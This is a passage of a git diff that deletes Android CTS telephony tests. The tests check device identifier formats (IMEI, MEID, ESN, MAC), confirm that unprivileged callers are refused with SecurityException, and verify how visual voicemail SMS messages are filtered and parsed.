-        mTelephonyManager.getNetworkOperator();
-        mTelephonyManager.getSimCountryIso();
-        mTelephonyManager.getVoiceMailAlphaTag();
-        mTelephonyManager.getNeighboringCellInfo();
-        mTelephonyManager.isNetworkRoaming();
-        mTelephonyManager.getDeviceId();
-        mTelephonyManager.getDeviceId(mTelephonyManager.getSlotIndex());
-        mTelephonyManager.getDeviceSoftwareVersion();
-        mTelephonyManager.getImei();
-        mTelephonyManager.getImei(mTelephonyManager.getSlotIndex());
-        mTelephonyManager.getPhoneCount();
-        mTelephonyManager.getDataEnabled();
-        mTelephonyManager.getNetworkSpecifier();
-        mTelephonyManager.getNai();
-        TelecomManager telecomManager = (TelecomManager) getContext()
-                .getSystemService(Context.TELECOM_SERVICE);
-        PhoneAccountHandle defaultAccount = telecomManager
-                .getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
-        mTelephonyManager.getVoicemailRingtoneUri(defaultAccount);
-        mTelephonyManager.isVoicemailVibrationEnabled(defaultAccount);
-        mTelephonyManager.getCarrierConfig();
-    }
-
-    @Test
-    public void testCreateForPhoneAccountHandle(){
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
-            return;
-        }
-        TelecomManager telecomManager = getContext().getSystemService(TelecomManager.class);
-        PhoneAccountHandle handle =
-                telecomManager.getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
-        TelephonyManager telephonyManager = mTelephonyManager.createForPhoneAccountHandle(handle);
-        assertEquals(mTelephonyManager.getSubscriberId(), telephonyManager.getSubscriberId());
-    }
-
-    @Test
-    public void testCreateForPhoneAccountHandle_InvalidHandle(){
-        PhoneAccountHandle handle =
-                new PhoneAccountHandle(new ComponentName("com.example.foo", "bar"), "baz");
-        assertNull(mTelephonyManager.createForPhoneAccountHandle(handle));
-    }
-
-    /**
-     * Tests that the phone count returned is valid.
-     */
-    @Test
-    public void testGetPhoneCount() {
-        int phoneCount = mTelephonyManager.getPhoneCount();
-        int phoneType = mTelephonyManager.getPhoneType();
-        switch (phoneType) {
-            case TelephonyManager.PHONE_TYPE_GSM:
-            case TelephonyManager.PHONE_TYPE_CDMA:
-                assertTrue("Phone count should be > 0", phoneCount > 0);
-                break;
-            case TelephonyManager.PHONE_TYPE_NONE:
-                assertTrue("Phone count should be 0", phoneCount == 0 || phoneCount == 1);
-                break;
-            default:
-                throw new IllegalArgumentException("Did you add a new phone type? " + phoneType);
-        }
-    }
-
-    /**
-     * Tests that the device properly reports either a valid IMEI, MEID/ESN, or a valid MAC address
-     * if only a WiFi device. At least one of them must be valid.
-     */
-    @Test
-    public void testGetDeviceId() {
-        verifyDeviceId(mTelephonyManager.getDeviceId());
-    }
-
-    /**
-     * Tests that the device properly reports either a valid IMEI, MEID/ESN, or a valid MAC address
-     * if only a WiFi device. At least one of them must be valid.
-     */
-    @Test
-    public void testGetDeviceIdForSlot() {
-        String deviceId = mTelephonyManager.getDeviceId(mTelephonyManager.getSlotIndex());
-        verifyDeviceId(deviceId);
-        // Also verify that no exception is thrown for any slot index (including invalid ones)
-        for (int i = -1; i <= mTelephonyManager.getPhoneCount(); i++) {
-            mTelephonyManager.getDeviceId(i);
-        }
-    }
-
-    private void verifyDeviceId(String deviceId) {
-        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            // Either IMEI or MEID need to be valid.
-            try {
-                assertImei(deviceId);
-            } catch (AssertionError e) {
-                assertMeidEsn(deviceId);
-            }
-        } else if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
-            assertSerialNumber();
-            assertMacAddress(getWifiMacAddress());
-        } else if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_BLUETOOTH)) {
-            assertSerialNumber();
-            assertMacAddress(getBluetoothMacAddress());
-        } else if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_ETHERNET)) {
-            assertTrue(mCm.getNetworkInfo(ConnectivityManager.TYPE_ETHERNET) != null);
-        }
-    }
-
-    private static void assertImei(String id) {
-        assertFalse("Imei should not be empty or null", TextUtils.isEmpty(id));
-        // IMEI may include the check digit
-        String imeiPattern = "[0-9]{14,15}";
-        String invalidPattern = "[0]{14,15}";
-        assertTrue("IMEI " + id + " does not match pattern " + imeiPattern,
-                Pattern.matches(imeiPattern, id));
-        assertFalse("IMEI " + id + " must not be a zero sequence" + invalidPattern,
-                Pattern.matches(invalidPattern, id));
-        if (id.length() == 15) {
-            // if the ID is 15 digits, the 15th must be a check digit.
-            assertImeiCheckDigit(id);
-        }
-    }
-
-    private static void assertImeiCheckDigit(String deviceId) {
-        int expectedCheckDigit = getLuhnCheckDigit(deviceId.substring(0, 14));
-        int actualCheckDigit = Character.digit(deviceId.charAt(14), 10);
-        assertEquals("Incorrect check digit for " + deviceId, expectedCheckDigit, actualCheckDigit);
-    }
-
-    /**
-     * Use decimal value (0-9) to index into array to get sum of its digits
-     * needed by Lunh check.
-     *
-     * Example: DOUBLE_DIGIT_SUM[6] = 3 because 6 * 2 = 12 => 1 + 2 = 3
-     */
-    private static final int[] DOUBLE_DIGIT_SUM = {0, 2, 4, 6, 8, 1, 3, 5, 7, 9};
-
-    /**
-     * Calculate the check digit by starting from the right, doubling every
-     * each digit, summing all the digits including the doubled ones, and
-     * finding a number to make the sum divisible by 10.
-     *
-     * @param deviceId not including the check digit
-     * @return the check digit
-     */
-    private static int getLuhnCheckDigit(String deviceId) {
-        int sum = 0;
-        int dontDoubleModulus = deviceId.length() % 2;
-        for (int i = deviceId.length() - 1; i >= 0; --i) {
-            int digit = Character.digit(deviceId.charAt(i), 10);
-            if (i % 2 == dontDoubleModulus) {
-                sum += digit;
-            } else {
-                sum += DOUBLE_DIGIT_SUM[digit];
-            }
-        }
-        sum %= 10;
-        return sum == 0 ? 0 : 10 - sum;
-    }
-
-    private static void assertMeidEsn(String id) {
-        // CDMA device IDs may either be a 14-hex-digit MEID or an
-        // 8-hex-digit ESN.  If it's an ESN, it may not be a
-        // pseudo-ESN.
-        assertFalse("Meid ESN should not be empty or null", TextUtils.isEmpty(id));
-        if (id.length() == 14) {
-            assertMeidFormat(id);
-        } else if (id.length() == 8) {
-            assertHexadecimalEsnFormat(id);
-        } else {
-            fail("device id on CDMA must be 14-digit hex MEID or 8-digit hex ESN.");
-        }
-    }
-
-    private static void assertHexadecimalEsnFormat(String deviceId) {
-        String esnPattern = "[0-9a-fA-F]{8}";
-        String invalidPattern = "[0]{8}";
-        assertTrue("ESN hex device id " + deviceId + " does not match pattern " + esnPattern,
-                   Pattern.matches(esnPattern, deviceId));
-        assertFalse("ESN hex device id " + deviceId + " must not be a pseudo-ESN",
-                    "80".equals(deviceId.substring(0, 2)));
-        assertFalse("ESN hex device id " + deviceId + "must not be a zero sequence",
-                Pattern.matches(invalidPattern, deviceId));
-    }
-
-    private static void assertMeidFormat(String deviceId) {
-        // MEID must NOT include the check digit.
-        String meidPattern = "[0-9a-fA-F]{14}";
-        String invalidPattern = "[0]{14}";
-        assertTrue("MEID device id " + deviceId + " does not match pattern "
-                + meidPattern, Pattern.matches(meidPattern, deviceId));
-        assertFalse("MEID device id " + deviceId + "must not be a zero sequence",
-                Pattern.matches(invalidPattern, deviceId));
-    }
-
-    private void assertSerialNumber() {
-        assertNotNull("Non-telephony devices must have a Build.getSerial() number.",
-                Build.getSerial());
-        assertTrue("Hardware id must be no longer than 20 characters.",
-                Build.getSerial().length() <= 20);
-        assertTrue("Hardware id must be alphanumeric.",
-                Pattern.matches("[0-9A-Za-z]+", Build.getSerial()));
-    }
-
-    private void assertMacAddress(String macAddress) {
-        String macPattern = "([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}";
-        assertTrue("MAC Address " + macAddress + " does not match pattern " + macPattern,
-                Pattern.matches(macPattern, macAddress));
-    }
-
-    /** @return mac address which requires the WiFi system to be enabled */
-    private String getWifiMacAddress() {
-        WifiManager wifiManager = (WifiManager) getContext()
-                .getSystemService(Context.WIFI_SERVICE);
-
-        boolean enabled = wifiManager.isWifiEnabled();
-
-        try {
-            if (!enabled) {
-                wifiManager.setWifiEnabled(true);
-            }
-
-            WifiInfo wifiInfo = wifiManager.getConnectionInfo();
-            return wifiInfo.getMacAddress();
-
-        } finally {
-            if (!enabled) {
-                wifiManager.setWifiEnabled(false);
-            }
-        }
-    }
-
-    private String getBluetoothMacAddress() {
-        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-        if (adapter == null) {
-            return "";
-        }
-
-        return adapter.getAddress();
-    }
-
-    private static final String ISO_COUNTRY_CODE_PATTERN = "[a-z]{2}";
-
-    @Test
-    public void testGetNetworkCountryIso() {
-        String countryCode = mTelephonyManager.getNetworkCountryIso();
-        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            assertTrue("Country code '" + countryCode + "' did not match "
-                    + ISO_COUNTRY_CODE_PATTERN,
-                    Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
-        } else {
-            // Non-telephony may still have the property defined if it has a SIM.
-        }
-    }
-
-    @Test
-    public void testGetSimCountryIso() {
-        String countryCode = mTelephonyManager.getSimCountryIso();
-        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            assertTrue("Country code '" + countryCode + "' did not match "
-                    + ISO_COUNTRY_CODE_PATTERN,
-                    Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
-        } else {
-            // Non-telephony may still have the property defined if it has a SIM.
-        }
-    }
-
-    @Test
-    public void testGetServiceState() throws InterruptedException {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onServiceStateChanged(ServiceState serviceState) {
-                        synchronized (mLock) {
-                            mServiceState = serviceState;
-                            mLock.notify();
-                        }
-                    }
-                };
-                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE);
-                Looper.loop();
-            }
-        });
-
-        synchronized (mLock) {
-            t.start();
-            mLock.wait(TOLERANCE);
-        }
-
-        assertEquals(mServiceState, mTelephonyManager.getServiceState());
-    }
-
-    /**
-     * Tests that the device properly reports either a valid IMEI or null.
-     */
-    @Test
-    public void testGetImei() {
-        String imei = mTelephonyManager.getImei();
-
-        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_GSM) {
-                assertImei(imei);
-            }
-        }
-    }
-
-    /**
-     * Tests that the device properly reports either a valid IMEI or null.
-     */
-    @Test
-    public void testGetImeiForSlot() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        for (int i = 0; i < mTelephonyManager.getPhoneCount(); i++) {
-            String imei = mTelephonyManager.getImei(i);
-            if (!TextUtils.isEmpty(imei)) {
-                assertImei(imei);
-            }
-        }
-
-        // Also verify that no exception is thrown for any slot index (including invalid ones)
-        mTelephonyManager.getImei(-1);
-        mTelephonyManager.getImei(mTelephonyManager.getPhoneCount());
-    }
-
-    /**
-     * Tests that the device properly reports either a valid MEID or null.
-     */
-    @Test
-    public void testGetMeid() {
-        String meid = mTelephonyManager.getMeid();
-
-        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
-                assertMeidEsn(meid);
-            }
-        }
-    }
-
-    /**
-     * Tests that the device properly reports either a valid MEID or null.
-     */
-    @Test
-    public void testGetMeidForSlot() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        SubscriptionManager sm = (SubscriptionManager) getContext()
-                .getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
-        List<SubscriptionInfo> subInfos = sm.getActiveSubscriptionInfoList();
-
-        if (subInfos != null) {
-            for (SubscriptionInfo subInfo : subInfos) {
-                int slotIndex = subInfo.getSimSlotIndex();
-                int subId = subInfo.getSubscriptionId();
-                TelephonyManager tm = mTelephonyManager.createForSubscriptionId(subId);
-                if (tm.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
-                    String meid = mTelephonyManager.getMeid(slotIndex);
-                    if (!TextUtils.isEmpty(meid)) {
-                        assertMeidEsn(meid);
-                    }
-                }
-            }
-        }
-
-        // Also verify that no exception is thrown for any slot index (including invalid ones)
-        mTelephonyManager.getMeid(-1);
-        mTelephonyManager.getMeid(mTelephonyManager.getPhoneCount());
-    }
-
-    /**
-     * Tests sendDialerSpecialCode API.
-     * Expects a security exception since the caller does not have carrier privileges or is not the
-     * current default dialer app.
-     */
-    @Test
-    public void testSendDialerSpecialCode() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
-            return;
-        }
-        try {
-            mTelephonyManager.sendDialerSpecialCode("4636");
-            fail("Expected SecurityException. App does not have carrier privileges or is not the "
-                    + "default dialer app");
-        } catch (SecurityException expected) {
-        }
-    }
-
-    /**
-     * Tests that the device properly reports the contents of EF_FPLMN or null
-     */
-    @Test
-    public void testGetForbiddenPlmns() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return;
-        }
-        String[] plmns = mTelephonyManager.getForbiddenPlmns();
-
-        int phoneType = mTelephonyManager.getPhoneType();
-        switch (phoneType) {
-            case TelephonyManager.PHONE_TYPE_GSM:
-                assertNotNull("Forbidden PLMNs must be valid or an empty list!", plmns);
-            case TelephonyManager.PHONE_TYPE_CDMA:
-            case TelephonyManager.PHONE_TYPE_NONE:
-                if (plmns == null) {
-                    return;
-                }
-        }
-
-        for(String plmn : plmns) {
-            if (plmn.length() > 6 || plmn.length() < 5) {
-                fail("Invalid Length for PLMN-ID, must be 5 or 6: " + plmn);
-            }
-
-            // A record which is written in the SIM but empty will
-            // be all f's
-            if(android.text.TextUtils.isDigitsOnly(plmn)) {
-                assertTrue(
-                        "PLMNs must be strings of digits 0-9,F! " + plmn,
-                        android.text.TextUtils.isDigitsOnly(plmn));
-            } else {
-                for (char c : plmn.toUpperCase().toCharArray()) {
-                    assertTrue("PLMNs must be strings of digits 0-9,F! " + plmn,
-                            Character.toUpperCase(c) == 'F');
-                }
-            }
-        }
-    }
-
-    private static Context getContext() {
-        return InstrumentationRegistry.getContext();
-    }
-
-    /**
-     * Tests that the device properly sets the network selection mode to automatic.
-     * Expects a security exception since the caller does not have carrier privileges.
-     */
-    @Test
-    public void testSetNetworkSelectionModeAutomatic() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
-            return;
-        }
-        try {
-            mTelephonyManager.setNetworkSelectionModeAutomatic();
-            fail("Expected SecurityException. App does not have carrier privileges.");
-        } catch (SecurityException expected) {
-        }
-    }
-
-    /**
-     * Tests that the device properly asks the radio to connect to the input network and change
-     * selection mode to manual.
-     * Expects a security exception since the caller does not have carrier privileges.
-     */
-    @Test
-    public void testSetNetworkSelectionModeManual() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
-            return;
-        }
-        try {
-            mTelephonyManager.setNetworkSelectionModeManual(
-                    "" /* operatorNumeric */, false /* persistSelection */);
-            fail("Expected SecurityException. App does not have carrier privileges.");
-        } catch (SecurityException expected) {
-        }
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/cts/VisualVoicemailServiceTest.java b/tests/tests/telephony/src/android/telephony/cts/VisualVoicemailServiceTest.java
deleted file mode 100644
index fc97059..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/VisualVoicemailServiceTest.java
+++ /dev/null
@@ -1,733 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import android.app.Instrumentation;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.database.ContentObserver;
-import android.database.Cursor;
-import android.database.sqlite.SQLiteException;
-import android.net.Uri;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.ParcelFileDescriptor;
-import android.provider.Telephony.Sms;
-import android.provider.Telephony.Sms.Intents;
-import androidx.annotation.Nullable;
-import android.telecom.PhoneAccount;
-import android.telecom.PhoneAccountHandle;
-import android.telecom.TelecomManager;
-import android.telephony.SmsManager;
-import android.telephony.SmsMessage;
-import android.telephony.TelephonyManager;
-import android.telephony.VisualVoicemailSms;
-import android.telephony.VisualVoicemailSmsFilterSettings;
-import android.test.InstrumentationTestCase;
-import android.text.TextUtils;
-import android.util.Log;
-
-import java.io.BufferedReader;
-import java.io.FileInputStream;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.nio.ByteBuffer;
-import java.nio.charset.CharacterCodingException;
-import java.nio.charset.CharsetDecoder;
-import java.nio.charset.StandardCharsets;
-import java.util.Arrays;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-
-public class VisualVoicemailServiceTest extends InstrumentationTestCase {
-
-    private static final String TAG = "VvmServiceTest";
-
-    private static final String COMMAND_SET_DEFAULT_DIALER = "telecom set-default-dialer ";
-
-    private static final String COMMAND_GET_DEFAULT_DIALER = "telecom get-default-dialer";
-
-    private static final String PACKAGE = "android.telephony.cts";
-
-    private static final long EVENT_RECEIVED_TIMEOUT_MILLIS = 60_000;
-    private static final long EVENT_NOT_RECEIVED_TIMEOUT_MILLIS = 1_000;
-
-    private Context mContext;
-    private TelephonyManager mTelephonyManager;
-
-    private String mPreviousDefaultDialer;
-
-    private PhoneAccountHandle mPhoneAccountHandle;
-    private String mPhoneNumber;
-
-    private SmsBroadcastReceiver mSmsReceiver;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getContext();
-        if (hasTelephony(mContext)) {
-            mPreviousDefaultDialer = getDefaultDialer(getInstrumentation());
-            setDefaultDialer(getInstrumentation(), PACKAGE);
-
-            TelecomManager telecomManager = mContext.getSystemService(TelecomManager.class);
-            mPhoneAccountHandle = telecomManager
-                    .getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
-            mPhoneNumber = telecomManager.getLine1Number(mPhoneAccountHandle);
-
-            mTelephonyManager = mContext.getSystemService(TelephonyManager.class)
-                    .createForPhoneAccountHandle(mPhoneAccountHandle);
-        }
-
-        PackageManager packageManager = mContext.getPackageManager();
-        packageManager.setComponentEnabledSetting(
-                new ComponentName(mContext, MockVisualVoicemailService.class),
-                PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
-        packageManager.setComponentEnabledSetting(
-                new ComponentName(mContext, PermissionlessVisualVoicemailService.class),
-                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (hasTelephony(mContext)) {
-            if (!TextUtils.isEmpty(mPreviousDefaultDialer)) {
-                setDefaultDialer(getInstrumentation(), mPreviousDefaultDialer);
-            }
-
-            if (mSmsReceiver != null) {
-                mContext.unregisterReceiver(mSmsReceiver);
-            }
-        }
-        super.tearDown();
-    }
-
-    public void testPermissionlessService_ignored() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-
-        PackageManager packageManager = mContext.getPackageManager();
-        packageManager.setComponentEnabledSetting(
-                new ComponentName(mContext, MockVisualVoicemailService.class),
-                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
-        packageManager.setComponentEnabledSetting(
-                new ComponentName(mContext, PermissionlessVisualVoicemailService.class),
-                PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
-        String clientPrefix = "//CTSVVM";
-        String text = "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1";
-
-        mTelephonyManager.setVisualVoicemailSmsFilterSettings(
-                new VisualVoicemailSmsFilterSettings.Builder()
-                        .setClientPrefix(clientPrefix)
-                        .build());
-
-        try {
-            mTelephonyManager
-                    .sendVisualVoicemailSms(mPhoneNumber, 0, text, null);
-            fail("SecurityException expected");
-        } catch (SecurityException e) {
-            // Expected
-        }
-
-        CompletableFuture<VisualVoicemailSms> future = new CompletableFuture<>();
-        PermissionlessVisualVoicemailService.setSmsFuture(future);
-
-        setupSmsReceiver(text);
-
-        SmsManager.getDefault().sendTextMessage(mPhoneNumber, null, text, null, null);
-
-        mSmsReceiver.assertReceived(EVENT_RECEIVED_TIMEOUT_MILLIS);
-        try {
-            future.get(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-            throw new RuntimeException("Unexpected visual voicemail SMS received");
-        } catch (TimeoutException e) {
-            // expected
-        } catch (ExecutionException | InterruptedException e) {
-            throw new RuntimeException(e);
-        }
-
-    }
-
-    public void testFilter() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        VisualVoicemailSms result = getSmsFromText("//CTSVVM",
-                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1");
-
-        assertEquals("STATUS", result.getPrefix());
-        assertEquals("R", result.getFields().getString("st"));
-        assertEquals("0", result.getFields().getString("rc"));
-        assertEquals("1", result.getFields().getString("srv"));
-        assertEquals("1", result.getFields().getString("dn"));
-        assertEquals("1", result.getFields().getString("ipt"));
-        assertEquals("0", result.getFields().getString("spt"));
-        assertEquals("eg@example.com", result.getFields().getString("u"));
-        assertEquals("1", result.getFields().getString("pw"));
-    }
-
-    public void testFilter_data() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        if (!hasDataSms()) {
-            Log.d(TAG, "skipping test that requires data SMS feature");
-            return;
-        }
-
-        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
-                .setClientPrefix("//CTSVVM")
-                .build();
-        VisualVoicemailSms result = getSmsFromData(settings, (short) 1000,
-                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1", true);
-
-        assertEquals("STATUS", result.getPrefix());
-        assertEquals("R", result.getFields().getString("st"));
-        assertEquals("0", result.getFields().getString("rc"));
-        assertEquals("1", result.getFields().getString("srv"));
-        assertEquals("1", result.getFields().getString("dn"));
-        assertEquals("1", result.getFields().getString("ipt"));
-        assertEquals("0", result.getFields().getString("spt"));
-        assertEquals("eg@example.com", result.getFields().getString("u"));
-        assertEquals("1", result.getFields().getString("pw"));
-    }
-
-
-    public void testFilter_TrailingSemiColon() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        VisualVoicemailSms result = getSmsFromText("//CTSVVM",
-                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1;");
-
-        assertEquals("STATUS", result.getPrefix());
-        assertEquals("R", result.getFields().getString("st"));
-        assertEquals("0", result.getFields().getString("rc"));
-        assertEquals("1", result.getFields().getString("srv"));
-        assertEquals("1", result.getFields().getString("dn"));
-        assertEquals("1", result.getFields().getString("ipt"));
-        assertEquals("0", result.getFields().getString("spt"));
-        assertEquals("eg@example.com", result.getFields().getString("u"));
-        assertEquals("1", result.getFields().getString("pw"));
-    }
-
-    public void testFilter_EmptyPrefix() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        VisualVoicemailSms result = getSmsFromText("//CTSVVM",
-                "//CTSVVM::st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1");
-
-        assertEquals("", result.getPrefix());
-        assertEquals("R", result.getFields().getString("st"));
-        assertEquals("0", result.getFields().getString("rc"));
-        assertEquals("1", result.getFields().getString("srv"));
-        assertEquals("1", result.getFields().getString("dn"));
-        assertEquals("1", result.getFields().getString("ipt"));
-        assertEquals("0", result.getFields().getString("spt"));
-        assertEquals("eg@example.com", result.getFields().getString("u"));
-        assertEquals("1", result.getFields().getString("pw"));
-    }
-
-    public void testFilter_EmptyField() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        VisualVoicemailSms result = getSmsFromText("//CTSVVM",
-                "//CTSVVM:STATUS:");
-        assertTrue(result.getFields().isEmpty());
-    }
-
-    public void testFilterFail_NotVvm() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        assertVisualVoicemailSmsNotReceived("//CTSVVM",
-                "helloworld");
-    }
-
-    public void testFilterFail_PrefixMismatch() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        assertVisualVoicemailSmsNotReceived("//CTSVVM",
-                "//FOOVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1");
-    }
-
-    public void testFilterFail_MissingFirstColon() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        assertVisualVoicemailSmsNotReceived("//CTSVVM",
-                "//CTSVVMSTATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1");
-    }
-
-    public void testFilterFail_MissingSecondColon() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        assertVisualVoicemailSmsNotReceived("//CTSVVM",
-                "//CTSVVM:STATUSst=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1");
-    }
-
-    public void testFilterFail_MessageEndAfterClientPrefix() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        assertVisualVoicemailSmsNotReceived("//CTSVVM",
-                "//CTSVVM:");
-    }
-
-    public void testFilterFail_MessageEndAfterPrefix() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        assertVisualVoicemailSmsNotReceived("//CTSVVM",
-                "//CTSVVM:STATUS");
-    }
-
-    public void testFilterFail_InvalidKeyValuePair() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        assertVisualVoicemailSmsNotReceived("//CTSVVM",
-                "//CTSVVM:STATUS:key");
-    }
-
-    public void testFilterFail_InvalidMissingKey() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        assertVisualVoicemailSmsNotReceived("//CTSVVM",
-                "//CTSVVM:STATUS:=value");
-    }
-
-    public void testFilter_MissingValue() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        VisualVoicemailSms result = getSmsFromText("//CTSVVM",
-                "//CTSVVM:STATUS:key=");
-        assertEquals("STATUS", result.getPrefix());
-        assertEquals("", result.getFields().getString("key"));
-    }
-
-    public void testFilter_originatingNumber_match_filtered() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
-                .setClientPrefix("//CTSVVM")
-                .setOriginatingNumbers(Arrays.asList(mPhoneNumber))
-                .build();
-
-        getSmsFromText(settings, "//CTSVVM:SYNC:key=value", true);
-    }
-
-    public void testFilter_originatingNumber_mismatch_notFiltered() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
-                .setClientPrefix("//CTSVVM")
-                .setOriginatingNumbers(Arrays.asList("1"))
-                .build();
-
-        getSmsFromText(settings, "//CTSVVM:SYNC:key=value", false);
-    }
-
-    public void testFilter_port_match() {
-        if (!hasTelephony(mContext)) {
-            Log.d(TAG, "skipping test that requires telephony feature");
-            return;
-        }
-        if (!hasDataSms()) {
-            Log.d(TAG, "skipping test that requires data SMS feature");
-            return;
-        }
-
-        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
-                .setClientPrefix("//CTSVVM")
-                .setDestinationPort(1000)
-                .build();
-        getSmsFromData(settings, (short) 1000,
-                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1", true);
-    }
-
-    public void testFilter_port_mismatch() {
